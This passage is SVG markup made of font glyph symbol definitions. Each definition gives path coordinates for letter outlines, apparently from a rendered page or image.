11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 8.359375 -11 C 8.359375 -10.644531 8.316406 -10.289062 8.234375 -9.9375 C 8.148438 -9.582031 8.019531 -9.25 7.84375 -8.9375 C 7.664062 -8.632812 7.445312 -8.359375 7.1875 -8.109375 C 6.925781 -7.867188 6.601562 -7.6875 6.21875 -7.5625 L 6.21875 -7.484375 C 6.539062 -7.410156 6.851562 -7.296875 7.15625 -7.140625 C 7.457031 -6.984375 7.722656 -6.765625 7.953125 -6.484375 C 8.179688 -6.210938 8.363281 -5.875 8.5 -5.46875 C 8.632812 -5.070312 8.703125 -4.597656 8.703125 -4.046875 C 8.703125 -3.316406 8.585938 -2.679688 8.359375 -2.140625 C 8.128906 -1.609375 7.8125 -1.171875 7.40625 -0.828125 C 7.007812 -0.492188 6.550781 -0.242188 6.03125 -0.078125 C 5.507812 0.078125 4.957031 0.15625 4.375 0.15625 C 4.175781 0.15625 3.953125 0.15625 3.703125 0.15625 C 3.453125 0.15625 3.1875 0.144531 2.90625 0.125 C 2.625 0.113281 2.34375 0.0859375 2.0625 0.046875 C 1.78125 0.015625 1.523438 -0.0351562 1.296875 -0.109375 L 1.296875 -14.109375 C 1.703125 -14.191406 2.179688 -14.257812 2.734375 -14.3125 C 3.285156 -14.363281 3.878906 -14.390625 4.515625 -14.390625 C 4.972656 -14.390625 5.429688 -14.34375 5.890625 -14.25 C 6.359375 -14.164062 6.773438 -14 7.140625 -13.75 C 7.503906 -13.507812 7.796875 -13.171875 8.015625 -12.734375 C 8.242188 -12.296875 8.359375 -11.71875 8.359375 -11 Z M 4.5 -1.234375 C 4.863281 -1.234375 5.195312 -1.289062 5.5 -1.40625 C 5.8125 -1.519531 6.085938 -1.691406 6.328125 -1.921875 C 6.566406 -2.160156 6.753906 -2.441406 6.890625 -2.765625 C 7.023438 -3.097656 7.09375 -3.488281 7.09375 -3.9375 C 7.09375 -4.5 7.007812 -4.953125 6.84375 -5.296875 C 6.675781 -5.640625 6.453125 -5.90625 6.171875 -6.09375 C 5.898438 -6.289062 5.59375 -6.421875 5.25 -6.484375 C 4.90625 -6.554688 4.550781 -6.59375 4.1875 -6.59375 L 2.828125 -6.59375 L 2.828125 -1.375 C 2.910156 -1.351562 3.015625 -1.332031 3.140625 -1.3125 C 3.265625 -1.300781 3.40625 -1.289062 3.5625 -1.28125 C 3.71875 -1.269531 3.878906 -1.257812 4.046875 -1.25 C 4.210938 -1.238281 4.363281 -1.234375 4.5 -1.234375 Z M 3.65625 -7.90625 C 3.84375 -7.90625 4.054688 -7.910156 4.296875 -7.921875 C 4.546875 -7.941406 4.753906 -7.960938 4.921875 -7.984375 C 5.421875 -8.191406 5.847656 -8.519531 6.203125 -8.96875 C 6.566406 -9.425781 6.75 -9.988281 6.75 -10.65625 C 6.75 -11.101562 6.6875 -11.476562 6.5625 -11.78125 C 6.445312 -12.082031 6.28125 -12.320312 6.0625 -12.5 C 5.851562 -12.675781 5.609375 -12.800781 5.328125 -12.875 C 5.046875 -12.945312 4.75 -12.984375 4.4375 -12.984375 C 4.082031 -12.984375 3.757812 -12.972656 3.46875 -12.953125 C 3.1875 -12.929688 2.972656 -12.910156 2.828125 -12.890625 L 2.828125 -7.90625 Z M 3.65625 -7.90625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 3.265625 -5.203125 L 0.59375 -10.15625 L 2.34375 -10.15625 L 3.84375 -7.25 L 4.25 -6.125 L 4.671875 -7.25 L 6.21875 -10.15625 L 7.828125 -10.15625 L 5.125 -5.28125 L 7.984375 0 L 6.328125 0 L 4.609375 -3.1875 L 4.171875 -4.40625 L 3.703125 -3.1875 L 1.984375 0 L 0.390625 0 Z M 3.265625 -5.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 7.171875 -5.828125 L 2.515625 -5.828125 L 2.515625 0 L 1.15625 0 L 1.15625 -12.640625 L 2.515625 -12.640625 L 2.515625 -7.078125 L 7.171875 -7.078125 L 7.171875 -12.640625 L 8.53125 -12.640625 L 8.53125 0 L 7.171875 0 Z M 7.171875 -5.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 